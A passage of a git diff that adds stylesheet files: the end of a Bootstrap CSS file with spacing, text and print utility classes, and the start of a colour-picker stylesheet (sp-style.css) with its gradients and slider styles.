+ +.m-0 { + margin: 0 !important +} + +.mt-0, +.my-0 { + margin-top: 0 !important +} + +.mr-0, +.mx-0 { + margin-right: 0 !important +} + +.mb-0, +.my-0 { + margin-bottom: 0 !important +} + +.ml-0, +.mx-0 { + margin-left: 0 !important +} + +.m-1 { + margin: .25rem !important +} + +.mt-1, +.my-1 { + margin-top: .25rem !important +} + +.mr-1, +.mx-1 { + margin-right: .25rem !important +} + +.mb-1, +.my-1 { + margin-bottom: .25rem !important +} + +.ml-1, +.mx-1 { + margin-left: .25rem !important +} + +.m-2 { + margin: .5rem !important +} + +.mt-2, +.my-2 { + margin-top: .5rem !important +} + +.mr-2, +.mx-2 { + margin-right: .5rem !important +} + +.mb-2, +.my-2 { + margin-bottom: .5rem !important +} + +.ml-2, +.mx-2 { + margin-left: .5rem !important +} + +.m-3 { + margin: 1rem !important +} + +.mt-3, +.my-3 { + margin-top: 1rem !important +} + +.mr-3, +.mx-3 { + margin-right: 1rem !important +} + +.mb-3, +.my-3 { + margin-bottom: 1rem !important +} + +.ml-3, +.mx-3 { + margin-left: 1rem !important +} + +.m-4 { + margin: 1.5rem !important +} + +.mt-4, +.my-4 { + margin-top: 1.5rem !important +} + +.mr-4, +.mx-4 { + margin-right: 1.5rem !important +} + +.mb-4, +.my-4 { + margin-bottom: 1.5rem !important +} + +.ml-4, +.mx-4 { + margin-left: 1.5rem !important +} + +.m-5 { + margin: 3rem !important +} + +.mt-5, +.my-5 { + margin-top: 3rem !important +} + +.mr-5, +.mx-5 { + margin-right: 3rem !important +} + +.mb-5, +.my-5 { + margin-bottom: 3rem !important +} + +.ml-5, +.mx-5 { + margin-left: 3rem !important +} + +.p-0 { + padding: 0 !important +} + +.pt-0, +.py-0 { + padding-top: 0 !important +} + +.pr-0, +.px-0 { + padding-right: 0 !important +} + +.pb-0, +.py-0 { + padding-bottom: 0 !important +} + +.pl-0, +.px-0 { + padding-left: 0 !important +} + +.p-1 { + padding: .25rem !important +} + +.pt-1, +.py-1 { + padding-top: .25rem !important +} + +.pr-1, +.px-1 { + padding-right: .25rem !important +} + +.pb-1, +.py-1 { + padding-bottom: .25rem !important +} + +.pl-1, +.px-1 { + padding-left: .25rem !important +} + +.p-2 { + padding: .5rem !important +} + +.pt-2, +.py-2 { + padding-top: .5rem !important +} + +.pr-2, +.px-2 { + padding-right: .5rem !important +} + +.pb-2, +.py-2 { + padding-bottom: .5rem !important +} + +.pl-2, +.px-2 { + padding-left: .5rem !important +} + +.p-3 { + padding: 1rem !important +} + +.pt-3, +.py-3 { + padding-top: 1rem !important +} + +.pr-3, +.px-3 { + padding-right: 1rem !important +} + +.pb-3, +.py-3 { + padding-bottom: 1rem !important +} + +.pl-3, +.px-3 { + padding-left: 1rem !important +} + +.p-4 { + padding: 1.5rem !important +} + +.pt-4, +.py-4 { + padding-top: 1.5rem !important +} + +.pr-4, +.px-4 { + padding-right: 1.5rem !important +} + +.pb-4, +.py-4 { + padding-bottom: 1.5rem !important +} + +.pl-4, +.px-4 { + padding-left: 1.5rem !important +} + +.p-5 { + padding: 3rem !important +} + +.pt-5, +.py-5 { + padding-top: 3rem !important +} + +.pr-5, +.px-5 { + padding-right: 3rem !important +} + +.pb-5, +.py-5 { + padding-bottom: 3rem !important +} + +.pl-5, +.px-5 { + padding-left: 3rem !important +} + +.m-auto { + margin: auto !important +} + +.mt-auto, +.my-auto { + margin-top: auto !important +} + +.mr-auto, +.mx-auto { + margin-right: auto !important +} + +.mb-auto, +.my-auto { + margin-bottom: auto !important +} + +.ml-auto, +.mx-auto { + margin-left: auto !important +} + +@media (min-width:576px) { + .m-sm-0 { + margin: 0 !important + } + .mt-sm-0, + .my-sm-0 { + margin-top: 0 !important + } + .mr-sm-0, + .mx-sm-0 { + margin-right: 0 !important + } + .mb-sm-0, + .my-sm-0 { + margin-bottom: 0 !important + } + .ml-sm-0, + .mx-sm-0 { + margin-left: 0 !important + } + .m-sm-1 { + margin: .25rem !important + } + .mt-sm-1, + .my-sm-1 { + margin-top: .25rem !important + } + .mr-sm-1, + .mx-sm-1 { + margin-right: .25rem !important + } + .mb-sm-1, + .my-sm-1 { + margin-bottom: .25rem !important + } + .ml-sm-1, + .mx-sm-1 { + margin-left: .25rem !important + } + .m-sm-2 { + margin: .5rem !important + } + .mt-sm-2, + .my-sm-2 { + margin-top: .5rem !important + } + .mr-sm-2, + .mx-sm-2 { + margin-right: .5rem !important + } + .mb-sm-2, + .my-sm-2 { + margin-bottom: .5rem !important + } + .ml-sm-2, + .mx-sm-2 { + margin-left: .5rem !important + } + .m-sm-3 { + margin: 1rem !important + } + .mt-sm-3, + .my-sm-3 { + margin-top: 1rem !important + } + .mr-sm-3, + .mx-sm-3 { + margin-right: 1rem !important + } + .mb-sm-3, + .my-sm-3 { + margin-bottom: 1rem !important + } + .ml-sm-3, + .mx-sm-3 { + margin-left: 1rem !important + } + .m-sm-4 { + margin: 1.5rem !important + } + .mt-sm-4, + .my-sm-4 { + margin-top: 1.5rem !important + } + .mr-sm-4, + .mx-sm-4 { + margin-right: 1.5rem !important + } + .mb-sm-4, + .my-sm-4 { + margin-bottom: 1.5rem !important + } + .ml-sm-4, + .mx-sm-4 { + margin-left: 1.5rem !important + } + .m-sm-5 { + margin: 3rem !important + } + .mt-sm-5, + .my-sm-5 { + margin-top: 3rem !important + } + .mr-sm-5, + .mx-sm-5 { + margin-right: 3rem !important + } + .mb-sm-5, + .my-sm-5 { + margin-bottom: 3rem !important + } + .ml-sm-5, + .mx-sm-5 { + margin-left: 3rem !important + } + .p-sm-0 { + padding: 0 !important + } + .pt-sm-0, + .py-sm-0 { + padding-top: 0 !important + } + .pr-sm-0, + .px-sm-0 { + padding-right: 0 !important + } + .pb-sm-0, + .py-sm-0 { + padding-bottom: 0 !important + } + .pl-sm-0, + .px-sm-0 { + padding-left: 0 !important + } + .p-sm-1 { + padding: .25rem !important + } + .pt-sm-1, + .py-sm-1 { + padding-top: .25rem !important + } + .pr-sm-1, + .px-sm-1 { + padding-right: .25rem !important + } + .pb-sm-1, + .py-sm-1 { + padding-bottom: .25rem !important + } + .pl-sm-1, + .px-sm-1 { + padding-left: .25rem !important + } + .p-sm-2 { + padding: .5rem !important + } + .pt-sm-2, + .py-sm-2 { + padding-top: .5rem !important + } + .pr-sm-2, + .px-sm-2 { + padding-right: .5rem !important + } + .pb-sm-2, + .py-sm-2 { + padding-bottom: .5rem !important + } + .pl-sm-2, + .px-sm-2 { + padding-left: .5rem !important + } + .p-sm-3 { + padding: 1rem !important + } + .pt-sm-3, + .py-sm-3 { + padding-top: 1rem !important + } + .pr-sm-3, + .px-sm-3 { + padding-right: 1rem !important + } + .pb-sm-3, + .py-sm-3 { + padding-bottom: 1rem !important + } + .pl-sm-3, + .px-sm-3 { + padding-left: 1rem !important + } + .p-sm-4 { + padding: 1.5rem !important + } + .pt-sm-4, + .py-sm-4 { + padding-top: 1.5rem !important + } + .pr-sm-4, + .px-sm-4 { + padding-right: 1.5rem !important + } + .pb-sm-4, + .py-sm-4 { + padding-bottom: 1.5rem !important + } + .pl-sm-4, + .px-sm-4 { + padding-left: 1.5rem !important + } + .p-sm-5 { + padding: 3rem !important + } + .pt-sm-5, + .py-sm-5 { + padding-top: 3rem !important + } + .pr-sm-5, + .px-sm-5 { + padding-right: 3rem !important + } + .pb-sm-5, + .py-sm-5 { + padding-bottom: 3rem !important + } + .pl-sm-5, + .px-sm-5 { + padding-left: 3rem !important + } + .m-sm-auto { + margin: auto !important + } + .mt-sm-auto, + .my-sm-auto { + margin-top: auto !important + } + .mr-sm-auto, + .mx-sm-auto { + margin-right: auto !important + } + .mb-sm-auto, + .my-sm-auto { + margin-bottom: auto !important + } + .ml-sm-auto, + .mx-sm-auto { + margin-left: auto !important + } +} + +@media (min-width:768px) { + .m-md-0 { + margin: 0 !important + } + .mt-md-0, + .my-md-0 { + margin-top: 0 !important + } + .mr-md-0, + .mx-md-0 { + margin-right: 0 !important + } + .mb-md-0, + .my-md-0 { + margin-bottom: 0 !important + } + .ml-md-0, + .mx-md-0 { + margin-left: 0 !important + } + .m-md-1 { + margin: .25rem !important + } + .mt-md-1, + .my-md-1 { + margin-top: .25rem !important + } + .mr-md-1, + .mx-md-1 { + margin-right: .25rem !important + } + .mb-md-1, + .my-md-1 { + margin-bottom: .25rem !important + } + .ml-md-1, + .mx-md-1 { + margin-left: .25rem !important + } + .m-md-2 { + margin: .5rem !important + } + .mt-md-2, + .my-md-2 { + margin-top: .5rem !important + } + .mr-md-2, + .mx-md-2 { + margin-right: .5rem !important + } + .mb-md-2, + .my-md-2 { + margin-bottom: .5rem !important + } + .ml-md-2, + .mx-md-2 { + margin-left: .5rem !important + } + .m-md-3 { + margin: 1rem !important + } + .mt-md-3, + .my-md-3 { + margin-top: 1rem !important + } + .mr-md-3, + .mx-md-3 { + margin-right: 1rem !important + } + .mb-md-3, + .my-md-3 { + margin-bottom: 1rem !important + } + .ml-md-3, + .mx-md-3 { + margin-left: 1rem !important + } + .m-md-4 { + margin: 1.5rem !important + } + .mt-md-4, + .my-md-4 { + margin-top: 1.5rem !important + } + .mr-md-4, + .mx-md-4 { + margin-right: 1.5rem !important + } + .mb-md-4, + .my-md-4 { + margin-bottom: 1.5rem !important + } + .ml-md-4, + .mx-md-4 { + margin-left: 1.5rem !important + } + .m-md-5 { + margin: 3rem !important + } + .mt-md-5, + .my-md-5 { + margin-top: 3rem !important + } + .mr-md-5, + .mx-md-5 { + margin-right: 3rem !important + } + .mb-md-5, + .my-md-5 { + margin-bottom: 3rem !important + } + .ml-md-5, + .mx-md-5 { + margin-left: 3rem !important + } + .p-md-0 { + padding: 0 !important + } + .pt-md-0, + .py-md-0 { + padding-top: 0 !important + } + .pr-md-0, + .px-md-0 { + padding-right: 0 !important + } + .pb-md-0, + .py-md-0 { + padding-bottom: 0 !important + } + .pl-md-0, + .px-md-0 { + padding-left: 0 !important + } + .p-md-1 { + padding: .25rem !important + } + .pt-md-1, + .py-md-1 { + padding-top: .25rem !important + } + .pr-md-1, + .px-md-1 { + padding-right: .25rem !important + } + .pb-md-1, + .py-md-1 { + padding-bottom: .25rem !important + } + .pl-md-1, + .px-md-1 { + padding-left: .25rem !important + } + .p-md-2 { + padding: .5rem !important + } + .pt-md-2, + .py-md-2 { + padding-top: .5rem !important + } + .pr-md-2, + .px-md-2 { + padding-right: .5rem !important + } + .pb-md-2, + .py-md-2 { + padding-bottom: .5rem !important + } + .pl-md-2, + .px-md-2 { + padding-left: .5rem !important + } + .p-md-3 { + padding: 1rem !important + } + .pt-md-3, + .py-md-3 { + padding-top: 1rem !important + } + .pr-md-3, + .px-md-3 { + padding-right: 1rem !important + } + .pb-md-3, + .py-md-3 { + padding-bottom: 1rem !important + } + .pl-md-3, + .px-md-3 { + padding-left: 1rem !important + } + .p-md-4 { + padding: 1.5rem !important + } + .pt-md-4, + .py-md-4 { + padding-top: 1.5rem !important + } + .pr-md-4, + .px-md-4 { + padding-right: 1.5rem !important + } + .pb-md-4, + .py-md-4 { + padding-bottom: 1.5rem !important + } + .pl-md-4, + .px-md-4 { + padding-left: 1.5rem !important + } + .p-md-5 { + padding: 3rem !important + } + .pt-md-5, + .py-md-5 { + padding-top: 3rem !important + } + .pr-md-5, + .px-md-5 { + padding-right: 3rem !important + } + .pb-md-5, + .py-md-5 { + padding-bottom: 3rem !important + } + .pl-md-5, + .px-md-5 { + padding-left: 3rem !important + } + .m-md-auto { + margin: auto !important + } + .mt-md-auto, + .my-md-auto { + margin-top: auto !important + } + .mr-md-auto, + .mx-md-auto { + margin-right: auto !important + } + .mb-md-auto, + .my-md-auto { + margin-bottom: auto !important + } + .ml-md-auto, + .mx-md-auto { + margin-left: auto !important + } +} + +@media (min-width:992px) { + .m-lg-0 { + margin: 0 !important + } + .mt-lg-0, + .my-lg-0 { + margin-top: 0 !important + } + .mr-lg-0, + .mx-lg-0 { + margin-right: 0 !important + } + .mb-lg-0, + .my-lg-0 { + margin-bottom: 0 !important + } + .ml-lg-0, + .mx-lg-0 { + margin-left: 0 !important + } + .m-lg-1 { + margin: .25rem !important + } + .mt-lg-1, + .my-lg-1 { + margin-top: .25rem !important + } + .mr-lg-1, + .mx-lg-1 { + margin-right: .25rem !important + } + .mb-lg-1, + .my-lg-1 { + margin-bottom: .25rem !important + } + .ml-lg-1, + .mx-lg-1 { + margin-left: .25rem !important + } + .m-lg-2 { + margin: .5rem !important + } + .mt-lg-2, + .my-lg-2 { + margin-top: .5rem !important + } + .mr-lg-2, + .mx-lg-2 { + margin-right: .5rem !important + } + .mb-lg-2, + .my-lg-2 { + margin-bottom: .5rem !important + } + .ml-lg-2, + .mx-lg-2 { + margin-left: .5rem !important + } + .m-lg-3 { + margin: 1rem !important + } + .mt-lg-3, + .my-lg-3 { + margin-top: 1rem !important + } + .mr-lg-3, + .mx-lg-3 { + margin-right: 1rem !important + } + .mb-lg-3, + .my-lg-3 { + margin-bottom: 1rem !important + } + .ml-lg-3, + .mx-lg-3 { + margin-left: 1rem !important + } + .m-lg-4 { + margin: 1.5rem !important + } + .mt-lg-4, + .my-lg-4 { + margin-top: 1.5rem !important + } + .mr-lg-4, + .mx-lg-4 { + margin-right: 1.5rem !important + } + .mb-lg-4, + .my-lg-4 { + margin-bottom: 1.5rem !important + } + .ml-lg-4, + .mx-lg-4 { + margin-left: 1.5rem !important + } + .m-lg-5 { + margin: 3rem !important + } + .mt-lg-5, + .my-lg-5 { + margin-top: 3rem !important + } + .mr-lg-5, + .mx-lg-5 { + margin-right: 3rem !important + } + .mb-lg-5, + .my-lg-5 { + margin-bottom: 3rem !important + } + .ml-lg-5, + .mx-lg-5 { + margin-left: 3rem !important + } + .p-lg-0 { + padding: 0 !important + } + .pt-lg-0, + .py-lg-0 { + padding-top: 0 !important + } + .pr-lg-0, + .px-lg-0 { + padding-right: 0 !important + } + .pb-lg-0, + .py-lg-0 { + padding-bottom: 0 !important + } + .pl-lg-0, + .px-lg-0 { + padding-left: 0 !important + } + .p-lg-1 { + padding: .25rem !important + } + .pt-lg-1, + .py-lg-1 { + padding-top: .25rem !important + } + .pr-lg-1, + .px-lg-1 { + padding-right: .25rem !important + } + .pb-lg-1, + .py-lg-1 { + padding-bottom: .25rem !important + } + .pl-lg-1, + .px-lg-1 { + padding-left: .25rem !important + } + .p-lg-2 { + padding: .5rem !important + } + .pt-lg-2, + .py-lg-2 { + padding-top: .5rem !important + } + .pr-lg-2, + .px-lg-2 { + padding-right: .5rem !important + } + .pb-lg-2, + .py-lg-2 { + padding-bottom: .5rem !important + } + .pl-lg-2, + .px-lg-2 { + padding-left: .5rem !important + } + .p-lg-3 { + padding: 1rem !important + } + .pt-lg-3, + .py-lg-3 { + padding-top: 1rem !important + } + .pr-lg-3, + .px-lg-3 { + padding-right: 1rem !important + } + .pb-lg-3, + .py-lg-3 { + padding-bottom: 1rem !important + } + .pl-lg-3, + .px-lg-3 { + padding-left: 1rem !important + } + .p-lg-4 { + padding: 1.5rem !important + } + .pt-lg-4, + .py-lg-4 { + padding-top: 1.5rem !important + } + .pr-lg-4, + .px-lg-4 { + padding-right: 1.5rem !important + } + .pb-lg-4, + .py-lg-4 { + padding-bottom: 1.5rem !important + } + .pl-lg-4, + .px-lg-4 { + padding-left: 1.5rem !important + } + .p-lg-5 { + padding: 3rem !important + } + .pt-lg-5, + .py-lg-5 { + padding-top: 3rem !important + } + .pr-lg-5, + .px-lg-5 { + padding-right: 3rem !important + } + .pb-lg-5, + .py-lg-5 { + padding-bottom: 3rem !important + } + .pl-lg-5, + .px-lg-5 { + padding-left: 3rem !important + } + .m-lg-auto { + margin: auto !important + } + .mt-lg-auto, + .my-lg-auto { + margin-top: auto !important + } + .mr-lg-auto, + .mx-lg-auto { + margin-right: auto !important + } + .mb-lg-auto, + .my-lg-auto { + margin-bottom: auto !important + } + .ml-lg-auto, + .mx-lg-auto { + margin-left: auto !important + } +} + +@media (min-width:1200px) { + .m-xl-0 { + margin: 0 !important + } + .mt-xl-0, + .my-xl-0 { + margin-top: 0 !important + } + .mr-xl-0, + .mx-xl-0 { + margin-right: 0 !important + } + .mb-xl-0, + .my-xl-0 { + margin-bottom: 0 !important + } + .ml-xl-0, + .mx-xl-0 { + margin-left: 0 !important + } + .m-xl-1 { + margin: .25rem !important + } + .mt-xl-1, + .my-xl-1 { + margin-top: .25rem !important + } + .mr-xl-1, + .mx-xl-1 { + margin-right: .25rem !important + } + .mb-xl-1, + .my-xl-1 { + margin-bottom: .25rem !important + } + .ml-xl-1, + .mx-xl-1 { + margin-left: .25rem !important + } + .m-xl-2 { + margin: .5rem !important + } + .mt-xl-2, + .my-xl-2 { + margin-top: .5rem !important + } + .mr-xl-2, + .mx-xl-2 { + margin-right: .5rem !important + } + .mb-xl-2, + .my-xl-2 { + margin-bottom: .5rem !important + } + .ml-xl-2, + .mx-xl-2 { + margin-left: .5rem !important + } + .m-xl-3 { + margin: 1rem !important + } + .mt-xl-3, + .my-xl-3 { + margin-top: 1rem !important + } + .mr-xl-3, + .mx-xl-3 { + margin-right: 1rem !important + } + .mb-xl-3, + .my-xl-3 { + margin-bottom: 1rem !important + } + .ml-xl-3, + .mx-xl-3 { + margin-left: 1rem !important + } + .m-xl-4 { + margin: 1.5rem !important + } + .mt-xl-4, + .my-xl-4 { + margin-top: 1.5rem !important + } + .mr-xl-4, + .mx-xl-4 { + margin-right: 1.5rem !important + } + .mb-xl-4, + .my-xl-4 { + margin-bottom: 1.5rem !important + } + .ml-xl-4, + .mx-xl-4 { + margin-left: 1.5rem !important + } + .m-xl-5 { + margin: 3rem !important + } + .mt-xl-5, + .my-xl-5 { + margin-top: 3rem !important + } + .mr-xl-5, + .mx-xl-5 { + margin-right: 3rem !important + } + .mb-xl-5, + .my-xl-5 { + margin-bottom: 3rem !important + } + .ml-xl-5, + .mx-xl-5 { + margin-left: 3rem !important + } + .p-xl-0 { + padding: 0 !important + } + .pt-xl-0, + .py-xl-0 { + padding-top: 0 !important + } + .pr-xl-0, + .px-xl-0 { + padding-right: 0 !important + } + .pb-xl-0, + .py-xl-0 { + padding-bottom: 0 !important + } + .pl-xl-0, + .px-xl-0 { + padding-left: 0 !important + } + .p-xl-1 { + padding: .25rem !important + } + .pt-xl-1, + .py-xl-1 { + padding-top: .25rem !important + } + .pr-xl-1, + .px-xl-1 { + padding-right: .25rem !important + } + .pb-xl-1, + .py-xl-1 { + padding-bottom: .25rem !important + } + .pl-xl-1, + .px-xl-1 { + padding-left: .25rem !important + } + .p-xl-2 { + padding: .5rem !important + } + .pt-xl-2, + .py-xl-2 { + padding-top: .5rem !important + } + .pr-xl-2, + .px-xl-2 { + padding-right: .5rem !important + } + .pb-xl-2, + .py-xl-2 { + padding-bottom: .5rem !important + } + .pl-xl-2, + .px-xl-2 { + padding-left: .5rem !important + } + .p-xl-3 { + padding: 1rem !important + } + .pt-xl-3, + .py-xl-3 { + padding-top: 1rem !important + } + .pr-xl-3, + .px-xl-3 { + padding-right: 1rem !important + } + .pb-xl-3, + .py-xl-3 { + padding-bottom: 1rem !important + } + .pl-xl-3, + .px-xl-3 { + padding-left: 1rem !important + } + .p-xl-4 { + padding: 1.5rem !important + } + .pt-xl-4, + .py-xl-4 { + padding-top: 1.5rem !important + } + .pr-xl-4, + .px-xl-4 { + padding-right: 1.5rem !important + } + .pb-xl-4, + .py-xl-4 { + padding-bottom: 1.5rem !important + } + .pl-xl-4, + .px-xl-4 { + padding-left: 1.5rem !important + } + .p-xl-5 { + padding: 3rem !important + } + .pt-xl-5, + .py-xl-5 { + padding-top: 3rem !important + } + .pr-xl-5, + .px-xl-5 { + padding-right: 3rem !important + } + .pb-xl-5, + .py-xl-5 { + padding-bottom: 3rem !important + } + .pl-xl-5, + .px-xl-5 { + padding-left: 3rem !important + } + .m-xl-auto { + margin: auto !important + } + .mt-xl-auto, + .my-xl-auto { + margin-top: auto !important + } + .mr-xl-auto, + .mx-xl-auto { + margin-right: auto !important + } + .mb-xl-auto, + .my-xl-auto { + margin-bottom: auto !important + } + .ml-xl-auto, + .mx-xl-auto { + margin-left: auto !important + } +} + +.text-justify { + text-align: justify !important +} + +.text-nowrap { + white-space: nowrap !important +} + +.text-truncate { + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap +} + +.text-left { + text-align: left !important +} + +.text-right { + text-align: right !important +} + +.text-center { + text-align: center !important +} + +@media (min-width:576px) { + .text-sm-left { + text-align: left !important + } + .text-sm-right { + text-align: right !important + } + .text-sm-center { + text-align: center !important + } +} + +@media (min-width:768px) { + .text-md-left { + text-align: left !important + } + .text-md-right { + text-align: right !important + } + .text-md-center { + text-align: center !important + } +} + +@media (min-width:992px) { + .text-lg-left { + text-align: left !important + } + .text-lg-right { + text-align: right !important + } + .text-lg-center { + text-align: center !important + } +} + +@media (min-width:1200px) { + .text-xl-left { + text-align: left !important + } + .text-xl-right { + text-align: right !important + } + .text-xl-center { + text-align: center !important + } +} + +.text-lowercase { + text-transform: lowercase !important +} + +.text-uppercase { + text-transform: uppercase !important +} + +.text-capitalize { + text-transform: capitalize !important +} + +.font-weight-light { + font-weight: 300 !important +} + +.font-weight-normal { + font-weight: 400 !important +} + +.font-weight-bold { + font-weight: 700 !important +} + +.font-italic { + font-style: italic !important +} + +.text-white { + color: #fff !important +} + +.text-primary { + color: #007bff !important +} + +a.text-primary:focus, +a.text-primary:hover { + color: #0062cc !important +} + +.text-secondary { + color: #6c757d !important +} + +a.text-secondary:focus, +a.text-secondary:hover { + color: #545b62 !important +} + +.text-success { + color: #28a745 !important +} + +a.text-success:focus, +a.text-success:hover { + color: #1e7e34 !important +} + +.text-info { + color: #17a2b8 !important +} + +a.text-info:focus, +a.text-info:hover { + color: #117a8b !important +} + +.text-warning { + color: #ffc107 !important +} + +a.text-warning:focus, +a.text-warning:hover { + color: #d39e00 !important +} + +.text-danger { + color: #dc3545 !important +} + +a.text-danger:focus, +a.text-danger:hover { + color: #bd2130 !important +} + +.text-light { + color: #f8f9fa !important +} + +a.text-light:focus, +a.text-light:hover { + color: #dae0e5 !important +} + +.text-dark { + color: #343a40 !important +} + +a.text-dark:focus, +a.text-dark:hover { + color: #1d2124 !important +} + +.text-muted { + color: #6c757d !important +} + +.text-hide { + font: 0/0 a; + color: transparent; + text-shadow: none; + background-color: transparent; + border: 0 +} + +.visible { + visibility: visible !important +} + +.invisible { + visibility: hidden !important +} + +@media print { + *, + ::after, + ::before { + text-shadow: none !important; + box-shadow: none !important + } + a:not(.btn) { + text-decoration: underline + } + abbr[title]::after { + content: " ("attr(title) ")" + } + pre { + white-space: pre-wrap !important + } + blockquote, + pre { + border: 1px solid #999; + page-break-inside: avoid + } + thead { + display: table-header-group + } + img, + tr { + page-break-inside: avoid + } + h2, + h3, + p { + orphans: 3; + widows: 3 + } + h2, + h3 { + page-break-after: avoid + } + @page { + size: a3 + } + body { + min-width: 992px !important + } + .container { + min-width: 992px !important + } + .navbar { + display: none + } + .badge { + border: 1px solid #000 + } + .table { + border-collapse: collapse !important + } + .table td, + .table th { + background-color: #fff !important + } + .table-bordered td, + .table-bordered th { + border: 1px solid #ddd !important + } +} + + +/*# sourceMappingURL=bootstrap.min.css.map */ \ No newline at end of file diff --git a/css/sp-style.css b/css/sp-style.css new file mode 100644 index 0000000..171de47 --- /dev/null +++ b/css/sp-style.css @@ -0,0 +1,560 @@ +.sp-container { + position: absolute; + top: 0; + left: 0; + display: inline-block; + *display: inline; + *zoom: 1; + z-index: 9999994; + overflow: hidden +} + +.sp-container.sp-flat { + position: relative +} + +.sp-container, +.sp-container * { + -webkit-box-sizing: content-box; + -moz-box-sizing: content-box; + box-sizing: content-box +} + +.sp-top { + position: relative; + width: 100%; + display: inline-block +} + +.sp-top-inner { + position: absolute; + top: 0; + left: 0; + bottom: 0; + right: 0 +} + +.sp-color { + position: absolute; + top: 0; + left: 0; + bottom: 0; + right: 20% +} + +.sp-hue { + position: absolute; + top: 0; + right: 0; + bottom: 0; + left: 84%; + height: 100% +} + +.sp-clear-enabled .sp-hue { + top: 33px; + height: 77.5% +} + +.sp-fill { + padding-top: 80% +} + +.sp-sat, +.sp-val { + position: absolute; + top: 0; + left: 0; + right: 0; + bottom: 0 +} + +.sp-alpha-enabled .sp-top { + margin-bottom: 18px +} + +.sp-alpha-enabled .sp-alpha { + display: block +} + +.sp-alpha-handle { + position: absolute; + top: -4px; + bottom: -4px; + width: 6px; + left: 50%; + cursor: pointer; + border: 1px solid black; + background: white; + opacity: .8 +} + +.sp-alpha { + display: none; + position: absolute; + bottom: -14px; + right: 0; + left: 0; + height: 8px +} + +.sp-alpha-inner { + border: solid 1px #333 +} + +.sp-clear { + display: none +} + +.sp-clear.sp-clear-display { + background-position: center +} + +.sp-clear-enabled .sp-clear { + display: block; + position: absolute; + top: 0; + right: 0; + bottom: 0; + left: 84%; + height: 28px +} + +.sp-container, +.sp-replacer, +.sp-preview, +.sp-dragger, +.sp-slider, +.sp-alpha, +.sp-clear, +.sp-alpha-handle, +.sp-container.sp-dragging .sp-input, +.sp-container button { + -webkit-user-select: none; + -moz-user-select: -moz-none; + -o-user-select: none; + user-select: none +} + +.sp-container.sp-input-disabled .sp-input-container { + display: none +} + +.sp-container.sp-buttons-disabled .sp-button-container { + display: none +} + +.sp-container.sp-palette-buttons-disabled .sp-palette-button-container { + display: none +} + +.sp-palette-only .sp-picker-container { + display: none +} + +.sp-palette-disabled .sp-palette-container { + display: none +} + +.sp-initial-disabled .sp-initial { + display: none +} + +.sp-sat { + background-image: -webkit-gradient(linear, 0 0, 100% 0, from(#FFF), to(rgba(204, 154, 129, 0))); + background-image: -webkit-linear-gradient(left, #FFF, rgba(204, 154, 129, 0)); + background-image: -moz-linear-gradient(left, #fff, rgba(204, 154, 129, 0)); + background-image: -o-linear-gradient(left, #fff, rgba(204, 154, 129, 0)); + background-image: -ms-linear-gradient(left, #fff, rgba(204, 154, 129, 0)); + background-image: linear-gradient(to right, #fff, rgba(204, 154, 129, 0)); + -ms-filter: "progid:DXImageTransform.Microsoft.gradient(GradientType = 1, startColorstr=#FFFFFFFF, endColorstr=#00CC9A81)"; + filter: progid: DXImageTransform.Microsoft.gradient(GradientType=1, startColorstr='#FFFFFFFF', endColorstr='#00CC9A81') +} + +.sp-val { + background-image: -webkit-gradient(linear, 0 100%, 0 0, from(#000), to(rgba(204, 154, 129, 0))); + background-image: -webkit-linear-gradient(bottom, #000, rgba(204, 154, 129, 0)); + background-image: -moz-linear-gradient(bottom, #000, rgba(204, 154, 129, 0)); + background-image: -o-linear-gradient(bottom, #000, rgba(204, 154, 129, 0)); + background-image: -ms-linear-gradient(bottom, #000, rgba(204, 154, 129, 0)); + background-image: linear-gradient(to top, #000, rgba(204, 154, 129, 0)); + -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#00CC9A81, endColorstr=#FF000000)"; + filter: progid: DXImageTransform.Microsoft.gradient(startColorstr='#00CC9A81', endColorstr='#FF000000') +} + +.sp-hue { + background: -moz-linear-gradient(top, #f00 0, #ff0 17%, #0f0 33%, #0ff 50%, #00f 67%, #f0f 83%, #f00 100%); + background: -ms-linear-gradient(top, #f00 0, #ff0 17%, #0f0 33%, #0ff 50%, #00f 67%, #f0f 83%, #f00 100%); + background: -o-linear-gradient(top, #f00 0, #ff0 17%, #0f0 33%, #0ff 50%, #00f 67%, #f0f 83%, #f00 100%); + background: -webkit-gradient(linear, left top, left bottom, from(#f00), color-stop(0.17, #ff0), color-stop(0.33, #0f0), color-stop(0.5, #0ff), color-stop(0.67, #00f), color-stop(0.83, #f0f), to(#f00)); + background: -webkit-linear-gradient(top, #f00 0, #ff0 17%, #0f0 33%, #0ff 50%, #00f 67%, #f0f 83%, #f00 100%); + background: linear-gradient(to bottom, #f00 0, #ff0 17%, #0f0 33%, #0ff 50%, #00f 67%, #f0f 83%, #f00 100%) +} + +.sp-1 { + height: 17%; + filter: progid: DXImageTransform.Microsoft.gradient(startColorstr='#ff0000', endColorstr='#ffff00') +} + +.sp-2 { + height: 16%; + filter: progid: DXImageTransform.Microsoft.gradient(startColorstr='#ffff00', endColorstr='#00ff00') +} + +.sp-3 { + height: 17%; + filter: progid: DXImageTransform.Microsoft.gradient(startColorstr='#00ff00', endColorstr='#00ffff') +} + +.sp-4 { + height: 17%; + filter: progid: DXImageTransform.Microsoft.gradient(startColorstr='#00ffff', endColorstr='#0000ff') +} + +.sp-5 { + height: 16%; + filter: progid: DXImageTransform.Microsoft.gradient(startColorstr='#0000ff', endColorstr='#ff00ff') +} + +.sp-6 { + height: 17%; + filter: progid: DXImageTransform.Microsoft.gradient(startColorstr='#ff00ff', endColorstr='#ff0000') +} + +.sp-hidden { + display: none !important +} + +.sp-cf:before, +.sp-cf:after { + content: ""; + display: table +} + +.sp-cf:after { + clear: both +} + +.sp-cf { + *zoom: 1 +} + +@media(max-device-width:480px) { + .sp-color { + right: 40% + } + .sp-hue { + left: 63% + } + .sp-fill { + padding-top: 60% + } +} + +.sp-dragger { + border-radius: 5px; + height: 5px; + width: 5px; + border: 1px solid #fff; + background: #000; + cursor: pointer; + position: absolute; + top: 0; + left: 0 +} + +.sp-slider { + position: absolute; + top: 0; + cursor: pointer; + height: 3px; + left: -1px; + right: -1px; + border: 1px solid #000; + background: white; + opacity: .8 +} + +.sp-container { + border-radius: 0; + background-color: #ececec; + border: solid 1px #f0c49b; + padding: 0 +} + +.sp-container, +.sp-container button, +.sp-container input, +.sp-color, +.sp-hue, +.sp-clear { + font: normal 12px "Lucida Grande", "Lucida Sans Unicode", "Lucida Sans", Geneva, Verdana, sans-serif; + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + -ms-box-sizing: border-box; + box-sizing: border-box +} + 